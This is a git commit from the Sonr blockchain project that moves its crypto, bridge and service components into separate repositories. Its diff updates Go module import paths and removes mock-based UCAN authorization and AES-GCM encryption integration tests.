Feat/1285 es ucan formatting (#1302)

* feat: Add Enclave Usage Examples

* feat(es/ucan): Add comprehensive integration tests

- Create integration.test.ts with full UCAN token lifecycle testing
- Cover end-to-end token creation, parsing, and validation
- Test capability attenuation and delegation chains
- Validate multi-algorithm support and timestamp scenarios
- Implement error recovery and performance test scenarios

🤖 Generated with Claude Code

Co-Authored-By: Claude <noreply@anthropic.com>

* No commit suggestions generated

* No commit suggestions generated

* chore: Remove migrated components and add migration documentation

Removed all code and references for components that have been moved to separate repositories:

**Moved to sonr-io/hway:**
- bridge/ - HTTP service with OAuth2/OIDC/WebAuthn handlers
- cmd/hway/ - Highway service binary
- internal/migrations/ - PostgreSQL schema migrations

**Moved to sonr-io/motr:**
- cmd/motr/ - Motor worker service (WASM vault operations)
- cmd/vault/ - Vault CLI tool
- crypto/ - Comprehensive cryptographic library
- packages/ - TypeScript SDK packages (es, sdk, ui, com, pkl)
- web/auth/ - Authentication web application
- web/dash/ - Dashboard web application

**Updated Configuration:**
- Makefile: Removed build/test/release targets for moved components
- CLAUDE.md: Simplified to focus on core blockchain components
- devbox.json: Removed scripts for moved services
- docker-compose.yml: Removed hway, postgres, redis, auth, dash services
- .github/scopes.yml: Removed CI scopes for migrated components
- .goreleaser.yml: Updated release configuration

**Added Migration Documentation:**
- MIGRATE_HWAY.md: Comprehensive Highway service architecture and migration guide
- MIGRATE_MOTR.md: Comprehensive Motor/Worker/Vault architecture and migration guide

These migration documents provide complete context for setting up the new repositories including architecture diagrams, component breakdowns, API documentation, and migration checklists.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>

* No commit suggestions generated

* chore: Remove contracts references and documentation

Removed all references to the contracts directory that was migrated to a separate repository.

**Changes:**
- .gitignore: Removed contract-specific ignore patterns for DAO and wSNR contracts
- .gitignore: Removed hway and motr binary references (already migrated)
- .rgignore: Removed contracts, chains, and crypto directory references
- docs/reference/contracts/: Removed DAO.mdx and wSNR.mdx documentation files

This completes the cleanup of migrated components from the repository.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>

* docs: add crypto library migration documentation

Added comprehensive migration documentation for the crypto library that was
moved to sonr-io/crypto repository. This documentation provides complete context
for understanding the cryptographic primitives and protocols used throughout
the Sonr ecosystem.

## Key Documentation Added

### MIGRATE_CRYPTO.md
Complete documentation of the crypto library covering:

**Core Cryptographic Primitives**
- Elliptic curve implementations (Ed25519, Secp256k1, P-256, BLS12-381, Pallas/Vesta)
- Native curve arithmetic with optimized field operations
- Pairing-friendly curves for BLS signatures

**Multi-Party Computation (MPC)**
- MPC enclave for vault key generation and management
- Threshold cryptography (TECDSA, TED25519 with FROST protocol)
- Distributed Key Generation (DKG) via Gennaro and FROST protocols
- Secret sharing schemes (Shamir, Feldman VSS, Pedersen VSS)

**Digital Signature Schemes**
- BLS signatures with aggregation support
- BBS+ signatures for selective disclosure
- Schnorr signatures (standard and Mina/NEM variants)
- ECDSA with deterministic nonce generation

**Zero-Knowledge Proofs**
- Bulletproofs for range proofs
- Inner Product Arguments (IPA)
- Batch verification support

**Advanced Cryptographic Protocols**
- Cryptographic accumulators for set membership proofs
- Paillier homomorphic encryption
- Oblivious Transfer (OT) protocols
- Verifiable Random Functions (VRF)

**Key Management & Identity**
- DID key management with multi-chain support
- Multi-algorithm public key handling
- Wallet address derivation (Bitcoin, Ethereum, Cosmos, Solana, etc.)

**UCAN Integration**
- User-Controlled Authorization Networks
- Capability delegation and attenuation
- JWT-based capability tokens
- MPC-enabled UCAN signing

**Security Utilities**
- AEAD encryption (AES-GCM, AES-SIV)
- Argon2 key derivation
- ECIES encryption
- Secure memory handling

### MIGRATE_MOTR.md Updates
Updated Motor migration documentation to clarify that the crypto library
is now a separate external dependency at github.com/sonr-io/crypto v1.0.1

## Repository Context

The crypto library has been successfully migrated to its own repository
and is published as a Go module. It serves as the foundational cryptographic
layer for:
- Sonr blockchain (snrd) - DID signatures, vault operations
- Highway service (hway) - UCAN token signing, WebAuthn
- Motor/Worker (motr) - MPC vault operations, threshold signatures

## Integration Impact

All Sonr ecosystem components now depend on the external crypto library:
```go
require github.com/sonr-io/crypto v1.0.1
```

The migration enables independent versioning and maintenance of cryptographic
primitives while maintaining security and compatibility across the ecosystem.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>

* No commit suggestions generated

* No commit suggestions generated

* No commit suggestions generated

---------

Co-authored-by: Claude <noreply@anthropic.com>
This commit is contained in:
Prad Nukala
2025-10-10 11:47:18 -04:00
committed by GitHub
co-authored by Claude
parent 7570d67787
commit 40eadc995e
1306 changed files with 2854 additions and 316038 deletions
+2 -2
View File
@@ -19,7 +19,7 @@ replace (
github.com/dgrijalva/jwt-go => github.com/golang-jwt/jwt/v4 v4.4.2
github.com/gin-gonic/gin => github.com/gin-gonic/gin v1.8.1
github.com/sonr-io/sonr => ../../
github.com/sonr-io/sonr/crypto => ../../crypto
github.com/sonr-io/crypto => ../../crypto
github.com/syndtr/goleveldb => github.com/syndtr/goleveldb v1.0.1-0.20210819022825-2ae1ddf74ef7
)
@@ -334,7 +334,7 @@ require (
github.com/sasha-s/go-deadlock v0.3.5 // indirect
github.com/shirou/gopsutil v3.21.4-0.20210419000835-c7a38de76ee5+incompatible // indirect
github.com/sonr-io/sonr v0.0.0-00010101000000-000000000000 // indirect
github.com/sonr-io/sonr/crypto v0.0.0-00010101000000-000000000000 // indirect
github.com/sonr-io/crypto v0.0.0-00010101000000-000000000000 // indirect
github.com/sourcegraph/conc v0.3.0 // indirect
github.com/spaolacci/murmur3 v1.1.0 // indirect
github.com/spf13/afero v1.11.0 // indirect
+2 -2
View File
@@ -12,8 +12,8 @@ import (
"github.com/stretchr/testify/suite"
"github.com/sonr-io/sonr/app"
"github.com/sonr-io/sonr/crypto/mpc"
"github.com/sonr-io/sonr/crypto/ucan"
"github.com/sonr-io/crypto/mpc"
"github.com/sonr-io/crypto/ucan"
didtypes "github.com/sonr-io/sonr/x/did/types"
"github.com/sonr-io/sonr/x/dwn/client/plugin"
dwntypes "github.com/sonr-io/sonr/x/dwn/types"
+2 -2
View File
@@ -9,8 +9,8 @@ import (
"github.com/stretchr/testify/suite"
"github.com/sonr-io/sonr/crypto/mpc"
"github.com/sonr-io/sonr/crypto/ucan"
"github.com/sonr-io/crypto/mpc"
"github.com/sonr-io/crypto/ucan"
"github.com/sonr-io/sonr/x/dwn/client/plugin"
)
-820
View File
@@ -1,820 +0,0 @@
package integration
import (
"context"
"fmt"
"testing"
"time"
"github.com/stretchr/testify/suite"
"github.com/sonr-io/sonr/bridge/handlers"
"github.com/sonr-io/sonr/crypto/ucan"
didtypes "github.com/sonr-io/sonr/x/did/types"
dwntypes "github.com/sonr-io/sonr/x/dwn/types"
svctypes "github.com/sonr-io/sonr/x/svc/types"
)
// CrossModuleAuthTestSuite tests authorization across all Sonr modules
type CrossModuleAuthTestSuite struct {
suite.Suite
ucanDelegator *handlers.UCANDelegator
signer *MockUCANSigner
// Mock module keepers
didValidator *MockDIDValidator
dwnValidator *MockDWNValidator
svcValidator *MockServiceValidator
testUserDID string
testClientDID string
}
// MockDIDKeeper implements DIDKeeperInterface for testing
type MockDIDKeeper struct {
documents map[string]*didtypes.DIDDocument
}
func (m *MockDIDKeeper) GetDIDDocument(ctx context.Context, did string) (*didtypes.DIDDocument, error) {
doc, ok := m.documents[did]
if !ok {
return nil, fmt.Errorf("DID not found: %s", did)
}
return doc, nil
}
func (m *MockDIDKeeper) GetVerificationMethod(ctx context.Context, did string, methodID string) (*didtypes.VerificationMethod, error) {
doc, err := m.GetDIDDocument(ctx, did)
if err != nil {
return nil, err
}
for _, vm := range doc.VerificationMethod {
if vm.Id == methodID {
return vm, nil
}
}
return nil, fmt.Errorf("verification method not found: %s", methodID)
}
// MockUCANSigner is a test implementation that bypasses actual crypto
type MockUCANSigner struct {
issuerDID string
didKeeper *MockDIDKeeper
tokens map[string]*ucan.Token // Store tokens by raw string
}
func (m *MockUCANSigner) Sign(token *ucan.Token) (string, error) {
// Generate a fake JWT-like token for testing
tokenStr := fmt.Sprintf("mock.token.%s.%s.%d", token.Issuer, token.Audience, time.Now().Unix())
token.Raw = tokenStr
// Store the token for later verification
if m.tokens == nil {
m.tokens = make(map[string]*ucan.Token)
}
m.tokens[tokenStr] = token
return tokenStr, nil
}
func (m *MockUCANSigner) GetIssuerDID() string {
return m.issuerDID
}
func (m *MockUCANSigner) CreateDelegationToken(
issuer string,
audience string,
attenuations []ucan.Attenuation,
proofs []ucan.Proof,
expiry time.Duration,
) (string, error) {
token := &ucan.Token{
Issuer: issuer,
Audience: audience,
ExpiresAt: time.Now().Add(expiry).Unix(),
NotBefore: time.Now().Unix(),
Attenuations: attenuations,
Proofs: proofs,
}
return m.Sign(token)
}
func (m *MockUCANSigner) VerifySignature(tokenString string) (*ucan.Token, error) {
// For testing, just return the stored token
if token, ok := m.tokens[tokenString]; ok {
// Check expiry - tokens expire when current time exceeds ExpiresAt
currentTime := time.Now().Unix()
if currentTime > token.ExpiresAt {
return nil, fmt.Errorf("token expired (current: %d, expires: %d)", currentTime, token.ExpiresAt)
}
// Check not before
if token.NotBefore > 0 && currentTime < token.NotBefore {
return nil, fmt.Errorf("token not yet valid")
}
return token, nil
}
return nil, fmt.Errorf("token not found: %s", tokenString)
}
func (m *MockUCANSigner) ValidateDelegationChain(tokens []string) error {
// Validate the delegation chain
for i, tokenStr := range tokens {
token, ok := m.tokens[tokenStr]
if !ok {
return fmt.Errorf("failed to verify token %d: token not found", i)
}
// Check chain consistency (except for first token)
if i > 0 {
prevToken := m.tokens[tokens[i-1]]
// Verify that the issuer of current token matches audience of previous
if token.Issuer != prevToken.Audience {
return fmt.Errorf("failed to verify token %d: broken chain - issuer mismatch", i)
}
// Check that current token has previous token as proof
hasProof := false
for _, proof := range token.Proofs {
if string(proof) == tokens[i-1] {
hasProof = true
break
}
}
if !hasProof && len(token.Proofs) > 0 {
// If there are proofs but wrong ones, it's a broken chain
return fmt.Errorf("failed to verify token %d: invalid proof in chain", i)
}
}
}
return nil
}
// MockDIDValidator simulates DID module UCAN validation
type MockDIDValidator struct {
didDocuments map[string]*didtypes.DIDDocument
}
func NewMockDIDValidator() *MockDIDValidator {
return &MockDIDValidator{
didDocuments: make(map[string]*didtypes.DIDDocument),
}
}
func (m *MockDIDValidator) ValidateUCANPermission(ctx context.Context, token *ucan.Token, action string, resource string) error {
// Map common action aliases
actionMap := map[string]string{
"update": "write",
"create": "write",
"delete": "write",
}
// Normalize the action
normalizedAction := action
if mapped, exists := actionMap[action]; exists {
normalizedAction = mapped
}
// Find appropriate attenuation for DID operations
for _, att := range token.Attenuations {
if att.Resource != nil && att.Resource.GetScheme() == "did" {
if att.Capability != nil {
actions := att.Capability.GetActions()
for _, a := range actions {
if a == normalizedAction || a == action || a == "*" || a == "write" && (action == "update" || action == "create") {
return nil // Authorized
}
}
}
}
}
return handlers.ErrUnauthorized
}
func (m *MockDIDValidator) GetDIDDocument(ctx context.Context, did string) (*didtypes.DIDDocument, error) {
doc, exists := m.didDocuments[did]
if !exists {
return nil, didtypes.ErrDIDNotFound
}
return doc, nil
}
// MockDWNValidator simulates DWN module UCAN validation
type MockDWNValidator struct {
records map[string]*dwntypes.DWNRecord
}
func NewMockDWNValidator() *MockDWNValidator {
return &MockDWNValidator{
records: make(map[string]*dwntypes.DWNRecord),
}
}
func (m *MockDWNValidator) ValidateUCANPermission(ctx context.Context, token *ucan.Token, action string, resource string) error {
// Map common action aliases
actionMap := map[string]string{
"records-write": "write",
"protocols-configure": "admin",
}
// Normalize the action
normalizedAction := action
if mapped, exists := actionMap[action]; exists {
normalizedAction = mapped
}
// Find appropriate attenuation for DWN operations
for _, att := range token.Attenuations {
if att.Resource != nil && att.Resource.GetScheme() == "dwn" {
if att.Capability != nil {
actions := att.Capability.GetActions()
for _, a := range actions {
if a == normalizedAction || a == action || a == "*" ||
(a == "write" && action == "records-write") ||
(a == "admin" && action == "protocols-configure") {
// Additional DWN-specific validation
return m.validateDWNSpecific(token, action, resource)
}
}
}
}
}
return handlers.ErrUnauthorized
}
func (m *MockDWNValidator) validateDWNSpecific(token *ucan.Token, action, resource string) error {
// DWN-specific business logic
switch action {
case "records-write", "write":
// Check if user has write permission to this DWN
if token.Issuer == "did:sonr:unauthorized" {
return handlers.ErrInsufficientScope
}
case "protocols-configure":
// Only DWN owner can configure protocols
if !m.isOwner(token.Issuer, resource) {
return handlers.ErrUnauthorized
}
}
return nil
}
func (m *MockDWNValidator) isOwner(userDID, dwnResource string) bool {
// Simplified ownership check
return userDID == "did:sonr:owner" || userDID == "did:sonr:test-user"
}
// MockServiceValidator simulates Service module UCAN validation
type MockServiceValidator struct {
services map[string]*svctypes.Service
}
func NewMockServiceValidator() *MockServiceValidator {
return &MockServiceValidator{
services: make(map[string]*svctypes.Service),
}
}
func (m *MockServiceValidator) ValidateUCANPermission(ctx context.Context, token *ucan.Token, action string, resource string) error {
// Map common action aliases
actionMap := map[string]string{
"register": "write",
"verify-domain": "write",
"delete": "admin",
"read": "read",
}
// Normalize the action
normalizedAction := action
if mapped, exists := actionMap[action]; exists {
normalizedAction = mapped
}
// Find appropriate attenuation for service operations
for _, att := range token.Attenuations {
if att.Resource != nil {
scheme := att.Resource.GetScheme()
if scheme == "service" || scheme == "svc" {
if att.Capability != nil {
actions := att.Capability.GetActions()
for _, a := range actions {
if a == normalizedAction || a == action || a == "*" ||
(a == "write" && (action == "register" || action == "verify-domain")) ||
(a == "admin" && action == "delete") ||
(a == "manage" && (action == "register" || action == "verify-domain")) {
return m.validateServiceSpecific(token, action, resource)
}
}
}
}
}
}
return handlers.ErrUnauthorized
}
func (m *MockServiceValidator) validateServiceSpecific(token *ucan.Token, action, resource string) error {
// Service-specific validation logic
switch action {
case "register":
// Anyone can register a service with valid DID
if token.Issuer == "" {
return handlers.ErrUnauthorized
}
case "verify-domain":
// Only service owner can verify domain
service, exists := m.services[resource]
if !exists || service.Owner != token.Issuer {
return handlers.ErrUnauthorized
}
case "delete", "admin":
// Admin actions require admin scope
return m.validateAdminAccess(token)
}
return nil
}
func (m *MockServiceValidator) validateAdminAccess(token *ucan.Token) error {
// Check for admin capabilities
for _, att := range token.Attenuations {
actions := att.Capability.GetActions()
for _, action := range actions {
if action == "admin" || action == "*" {
return nil
}
}
}
return handlers.ErrInsufficientScope
}
func (suite *CrossModuleAuthTestSuite) SetupSuite() {
// Initialize validators
suite.didValidator = NewMockDIDValidator()
suite.dwnValidator = NewMockDWNValidator()
suite.svcValidator = NewMockServiceValidator()
// Initialize UCAN components with mock DID keeper
mockDIDKeeper := &MockDIDKeeper{
documents: make(map[string]*didtypes.DIDDocument),
}
// Add test user DID document with verification method
mockDIDKeeper.documents["did:sonr:test-user"] = &didtypes.DIDDocument{
Id: "did:sonr:test-user",
VerificationMethod: []*didtypes.VerificationMethod{
{
Id: "did:sonr:test-user#key1",
VerificationMethodKind: "Ed25519VerificationKey2020",
PublicKeyMultibase: "dGVzdC1wdWJsaWMta2V5", // base64 encoded test key
},
},
}
mockDIDKeeper.documents["did:sonr:owner"] = &didtypes.DIDDocument{
Id: "did:sonr:owner",
VerificationMethod: []*didtypes.VerificationMethod{
{
Id: "did:sonr:owner#key1",
VerificationMethodKind: "Ed25519VerificationKey2020",
PublicKeyMultibase: "b3duZXItcHVibGljLWtleQ==", // base64 encoded test key
},
},
}
// Add other test DIDs used in the tests
mockDIDKeeper.documents["did:sonr:service-a"] = &didtypes.DIDDocument{
Id: "did:sonr:service-a",
VerificationMethod: []*didtypes.VerificationMethod{
{
Id: "did:sonr:service-a#key1",
VerificationMethodKind: "Ed25519VerificationKey2020",
PublicKeyMultibase: "c2VydmljZS1hLWtleQ==", // base64 encoded test key
},
},
}
mockDIDKeeper.documents["did:sonr:service-b"] = &didtypes.DIDDocument{
Id: "did:sonr:service-b",
VerificationMethod: []*didtypes.VerificationMethod{
{
Id: "did:sonr:service-b#key1",
VerificationMethodKind: "Ed25519VerificationKey2020",
PublicKeyMultibase: "c2VydmljZS1iLWtleQ==", // base64 encoded test key
},
},
}
mockDIDKeeper.documents["did:sonr:intermediate-client"] = &didtypes.DIDDocument{
Id: "did:sonr:intermediate-client",
VerificationMethod: []*didtypes.VerificationMethod{
{
Id: "did:sonr:intermediate-client#key1",
VerificationMethodKind: "Ed25519VerificationKey2020",
PublicKeyMultibase: "aW50ZXJtZWRpYXRlLWtleQ==", // base64 encoded test key
},
},
}
mockDIDKeeper.documents["did:sonr:non-owner"] = &didtypes.DIDDocument{
Id: "did:sonr:non-owner",
VerificationMethod: []*didtypes.VerificationMethod{
{
Id: "did:sonr:non-owner#key1",
VerificationMethodKind: "Ed25519VerificationKey2020",
PublicKeyMultibase: "bm9uLW93bmVyLWtleQ==", // base64 encoded test key
},
},
}
mockDIDKeeper.documents["did:sonr:different-user"] = &didtypes.DIDDocument{
Id: "did:sonr:different-user",
VerificationMethod: []*didtypes.VerificationMethod{
{
Id: "did:sonr:different-user#key1",
VerificationMethodKind: "Ed25519VerificationKey2020",
PublicKeyMultibase: "ZGlmZmVyZW50LXVzZXI=", // base64 encoded test key
},
},
}
// Use a mock signer for testing that bypasses actual crypto
mockSigner := &MockUCANSigner{
issuerDID: "did:sonr:oauth-provider",
didKeeper: mockDIDKeeper,
}
suite.signer = mockSigner
suite.ucanDelegator = handlers.NewUCANDelegator(mockSigner)
// Test identities
suite.testUserDID = "did:sonr:test-user"
suite.testClientDID = "did:sonr:test-client"
// Setup test data
suite.setupTestData()
}
func (suite *CrossModuleAuthTestSuite) setupTestData() {
// Add test DID document
suite.didValidator.didDocuments[suite.testUserDID] = &didtypes.DIDDocument{
Id: suite.testUserDID,
VerificationMethod: []*didtypes.VerificationMethod{
{
Id: suite.testUserDID + "#key1",
VerificationMethodKind: "Ed25519VerificationKey2020",
},
},
}
// Add test service
suite.svcValidator.services["test-service"] = &svctypes.Service{
Id: "test-service",
Owner: suite.testUserDID,
Domain: "example.com",
Status: svctypes.ServiceStatus_SERVICE_STATUS_ACTIVE,
}
}
// TestDIDModuleAuthorization tests DID-specific operations
func (suite *CrossModuleAuthTestSuite) TestDIDModuleAuthorization() {
ctx := context.Background()
// Create token with DID permissions
token, err := suite.ucanDelegator.CreateDelegation(
suite.testUserDID,
suite.testClientDID,
[]string{"did:read", "did:write"},
time.Now().Add(time.Hour),
)
suite.Require().NoError(err)
// Test authorized DID read
err = suite.didValidator.ValidateUCANPermission(ctx, token, "read", suite.testUserDID)
suite.NoError(err, "Should authorize DID read operation")
// Test authorized DID write
err = suite.didValidator.ValidateUCANPermission(ctx, token, "update", suite.testUserDID)
suite.NoError(err, "Should authorize DID update operation")
// Test unauthorized DID admin operation
err = suite.didValidator.ValidateUCANPermission(ctx, token, "admin", suite.testUserDID)
suite.Error(err, "Should reject unauthorized admin operation")
}
// TestDWNModuleAuthorization tests DWN-specific operations
func (suite *CrossModuleAuthTestSuite) TestDWNModuleAuthorization() {
ctx := context.Background()
// Create token with DWN permissions
token, err := suite.ucanDelegator.CreateDelegation(
suite.testUserDID,
suite.testClientDID,
[]string{"dwn:read", "dwn:write"},
time.Now().Add(time.Hour),
)
suite.Require().NoError(err)
// Test authorized DWN write
err = suite.dwnValidator.ValidateUCANPermission(ctx, token, "records-write", "dwn:"+suite.testUserDID)
suite.NoError(err, "Should authorize DWN records write")
// Test unauthorized DWN protocol configuration
err = suite.dwnValidator.ValidateUCANPermission(ctx, token, "protocols-configure", "dwn:"+suite.testUserDID)
suite.Error(err, "Should reject protocol configuration without admin scope")
// Create admin token
adminToken, err := suite.ucanDelegator.CreateDelegation(
suite.testUserDID,
suite.testClientDID,
[]string{"dwn:admin"},
time.Now().Add(time.Hour),
)
suite.Require().NoError(err)
// Test authorized protocol configuration with admin token
err = suite.dwnValidator.ValidateUCANPermission(ctx, adminToken, "protocols-configure", "dwn:"+suite.testUserDID)
suite.NoError(err, "Should authorize protocol configuration with admin scope")
}
// TestServiceModuleAuthorization tests Service-specific operations
func (suite *CrossModuleAuthTestSuite) TestServiceModuleAuthorization() {
ctx := context.Background()
// Create token with service permissions
token, err := suite.ucanDelegator.CreateDelegation(
suite.testUserDID,
suite.testClientDID,
[]string{"service:read", "service:write"},
time.Now().Add(time.Hour),
)
suite.Require().NoError(err)
// Test authorized service registration
err = suite.svcValidator.ValidateUCANPermission(ctx, token, "register", "new-service")
suite.NoError(err, "Should authorize service registration")
// Test authorized domain verification (owner)
err = suite.svcValidator.ValidateUCANPermission(ctx, token, "verify-domain", "test-service")
suite.NoError(err, "Should authorize domain verification by owner")
// Test unauthorized admin operation
err = suite.svcValidator.ValidateUCANPermission(ctx, token, "admin", "test-service")
suite.Error(err, "Should reject admin operation without admin scope")
}
// TestCrossModuleWorkflow tests a workflow spanning multiple modules
func (suite *CrossModuleAuthTestSuite) TestCrossModuleWorkflow() {
ctx := context.Background()
// Scenario: User registers a service, configures DWN, and updates DID
// Create comprehensive token with cross-module permissions
token, err := suite.ucanDelegator.CreateDelegation(
suite.testUserDID,
suite.testClientDID,
[]string{
"service:write",
"dwn:write",
"did:write",
"vault:read", // For accessing keys
},
time.Now().Add(time.Hour),
)
suite.Require().NoError(err)
// Step 1: Register new service
err = suite.svcValidator.ValidateUCANPermission(ctx, token, "register", "new-service-workflow")
suite.NoError(err, "Should authorize service registration in workflow")
// Step 2: Configure DWN for the service
err = suite.dwnValidator.ValidateUCANPermission(ctx, token, "records-write", "dwn:"+suite.testUserDID)
suite.NoError(err, "Should authorize DWN configuration in workflow")
// Step 3: Update DID document to include service
err = suite.didValidator.ValidateUCANPermission(ctx, token, "update", suite.testUserDID)
suite.NoError(err, "Should authorize DID update in workflow")
// Verify token contains all necessary capabilities
suite.Require().NotEmpty(token.Attenuations)
// Count module coverage
modules := make(map[string]bool)
for _, att := range token.Attenuations {
modules[att.Resource.GetScheme()] = true
}
suite.GreaterOrEqual(len(modules), 3, "Token should cover at least 3 modules")
suite.Contains(modules, "service")
suite.Contains(modules, "dwn")
suite.Contains(modules, "did")
}
// TestScopeAttenuation tests proper scope reduction in delegation chains
func (suite *CrossModuleAuthTestSuite) TestScopeAttenuation() {
ctx := context.Background()
// Create initial broad token
parentToken, err := suite.ucanDelegator.CreateDelegation(
suite.testUserDID,
"did:sonr:intermediate-client",
[]string{
"vault:admin", // Full vault access
"service:manage", // Full service access
"dwn:write", // DWN write access
"did:write", // DID write access
},
time.Now().Add(time.Hour),
)
suite.Require().NoError(err)
// Create attenuated token (reduced permissions)
childToken, err := suite.ucanDelegator.CreateDelegation(
"did:sonr:intermediate-client",
suite.testClientDID,
[]string{
"vault:read", // Reduced to read-only
"service:read", // Reduced to read-only
"dwn:read", // Reduced to read-only
},
time.Now().Add(time.Hour),
)
suite.Require().NoError(err)
// Child token should have fewer capabilities
suite.Less(len(childToken.Attenuations), len(parentToken.Attenuations),
"Child token should have fewer capabilities than parent")
// Verify child cannot perform admin operations
err = suite.svcValidator.ValidateUCANPermission(ctx, childToken, "admin", "test-service")
suite.Error(err, "Child token should not authorize admin operations")
// But child should be able to perform read operations
err = suite.svcValidator.ValidateUCANPermission(ctx, childToken, "read", "test-service")
suite.NoError(err, "Child token should authorize read operations")
}
// TestDelegationChainValidation tests multi-hop delegation chains
func (suite *CrossModuleAuthTestSuite) TestDelegationChainValidation() {
// Create 3-hop delegation chain: User → Service A → Service B → Service C
// Hop 1: User → Service A
serviceA := "did:sonr:service-a"
token1, err := suite.signer.CreateDelegationToken(
suite.testUserDID,
serviceA,
[]ucan.Attenuation{
{
Capability: &ucan.MultiCapability{Actions: []string{"read", "write"}},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: suite.testUserDID},
},
},
nil,
time.Hour,
)
suite.Require().NoError(err)
// Hop 2: Service A → Service B (with attenuation)
serviceB := "did:sonr:service-b"
token2, err := suite.signer.CreateDelegationToken(
serviceA,
serviceB,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"}, // Reduced to read-only
Resource: &handlers.SimpleResource{Scheme: "vault", Value: suite.testUserDID},
},
},
[]ucan.Proof{ucan.Proof(token1)},
time.Hour,
)
suite.Require().NoError(err)
// Hop 3: Service B → Service C (maintain same level)
serviceC := "did:sonr:service-c"
token3, err := suite.signer.CreateDelegationToken(
serviceB,
serviceC,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"}, // Same level
Resource: &handlers.SimpleResource{Scheme: "vault", Value: suite.testUserDID},
},
},
[]ucan.Proof{ucan.Proof(token2)},
time.Hour,
)
suite.Require().NoError(err)
// Validate the complete chain
err = suite.signer.ValidateDelegationChain([]string{token1, token2, token3})
suite.NoError(err, "Valid 3-hop delegation chain should pass validation")
// Test broken chain (missing intermediate proof)
brokenToken, err := suite.signer.CreateDelegationToken(
serviceA, // Wrong issuer - should be serviceB
serviceC,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: suite.testUserDID},
},
},
[]ucan.Proof{ucan.Proof(token1)}, // Wrong proof
time.Hour,
)
suite.Require().NoError(err)
err = suite.signer.ValidateDelegationChain([]string{token1, token2, brokenToken})
suite.Error(err, "Broken delegation chain should fail validation")
}
// TestModuleSpecificValidation tests module-specific business rules
func (suite *CrossModuleAuthTestSuite) TestModuleSpecificValidation() {
ctx := context.Background()
// Test DWN ownership validation
ownerToken, err := suite.ucanDelegator.CreateDelegation(
"did:sonr:owner", // Different user
suite.testClientDID,
[]string{"dwn:admin"},
time.Now().Add(time.Hour),
)
suite.Require().NoError(err)
// Owner should be able to configure protocols
err = suite.dwnValidator.ValidateUCANPermission(ctx, ownerToken, "protocols-configure", "dwn:owner")
suite.NoError(err, "Owner should authorize protocol configuration")
// Non-owner should not be able to configure protocols
nonOwnerToken, err := suite.ucanDelegator.CreateDelegation(
"did:sonr:non-owner",
suite.testClientDID,
[]string{"dwn:admin"},
time.Now().Add(time.Hour),
)
suite.Require().NoError(err)
err = suite.dwnValidator.ValidateUCANPermission(ctx, nonOwnerToken, "protocols-configure", "dwn:owner")
suite.Error(err, "Non-owner should not authorize protocol configuration")
// Test Service domain verification
serviceOwnerToken, err := suite.ucanDelegator.CreateDelegation(
suite.testUserDID, // Owner of test-service
suite.testClientDID,
[]string{"service:write"},
time.Now().Add(time.Hour),
)
suite.Require().NoError(err)
err = suite.svcValidator.ValidateUCANPermission(ctx, serviceOwnerToken, "verify-domain", "test-service")
suite.NoError(err, "Service owner should authorize domain verification")
// Non-owner should not be able to verify domain
nonServiceOwnerToken, err := suite.ucanDelegator.CreateDelegation(
"did:sonr:different-user",
suite.testClientDID,
[]string{"service:write"},
time.Now().Add(time.Hour),
)
suite.Require().NoError(err)
err = suite.svcValidator.ValidateUCANPermission(ctx, nonServiceOwnerToken, "verify-domain", "test-service")
suite.Error(err, "Non-owner should not authorize domain verification")
}
// TestTimeBasedValidation tests time-sensitive authorization
func (suite *CrossModuleAuthTestSuite) TestTimeBasedValidation() {
// Create short-lived token (1 second to account for Unix timestamp precision)
shortToken, err := suite.ucanDelegator.CreateDelegation(
suite.testUserDID,
suite.testClientDID,
[]string{"vault:read"},
time.Now().Add(1*time.Second), // 1 second expiration for Unix timestamp precision
)
suite.Require().NoError(err)
// Should work immediately
_, err = suite.signer.VerifySignature(shortToken.Raw)
suite.NoError(err, "Token should be valid immediately after creation")
// Wait for expiration (need to wait at least 2 seconds due to Unix timestamp rounding)
time.Sleep(2 * time.Second)
// Should fail after expiration
_, err = suite.signer.VerifySignature(shortToken.Raw)
suite.Error(err, "Token should be invalid after expiration")
// Test not-before validation
futureToken, err := suite.signer.CreateDelegationToken(
suite.testUserDID,
suite.testClientDID,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: suite.testUserDID},
},
},
nil,
time.Hour,
)
suite.Require().NoError(err)
// Manually verify token structure
parsedToken, err := suite.signer.VerifySignature(futureToken)
suite.NoError(err, "Token should parse successfully")
suite.NotZero(parsedToken.ExpiresAt, "Token should have expiration time")
}
func TestCrossModuleAuthSuite(t *testing.T) {
suite.Run(t, new(CrossModuleAuthTestSuite))
}
@@ -1,234 +0,0 @@
package integration_test
import (
"bytes"
"crypto/rand"
"testing"
"github.com/stretchr/testify/require"
"github.com/sonr-io/sonr/crypto/aead"
"github.com/sonr-io/sonr/crypto/salt"
"github.com/sonr-io/sonr/crypto/secure"
)
// TestEndToEndEncryptionWorkflow tests complete encryption workflow
func TestEndToEndEncryptionWorkflow(t *testing.T) {
// Test data
plaintext := []byte("sensitive data that needs protection")
aad := []byte("additional authenticated data")
// Generate salt
saltObj, err := salt.Generate(32)
require.NoError(t, err)
require.NotNil(t, saltObj)
require.Equal(t, 32, saltObj.Size())
// Create AES-GCM cipher
key := make([]byte, 32) // 256-bit key
_, err = rand.Read(key)
require.NoError(t, err)
cipher, err := aead.NewAESGCM(key)
require.NoError(t, err)
// Encrypt data
ciphertext, err := cipher.Encrypt(plaintext, aad)
require.NoError(t, err)
require.NotEqual(t, plaintext, ciphertext)
// Decrypt data
decrypted, err := cipher.Decrypt(ciphertext, aad)
require.NoError(t, err)
require.Equal(t, plaintext, decrypted)
// Test tampering detection
tamperedCiphertext := make([]byte, len(ciphertext))
copy(tamperedCiphertext, ciphertext)
tamperedCiphertext[len(tamperedCiphertext)-1] ^= 0xFF // Flip last byte
_, err = cipher.Decrypt(tamperedCiphertext, aad)
require.Error(t, err)
require.Contains(t, err.Error(), "authentication failed")
}
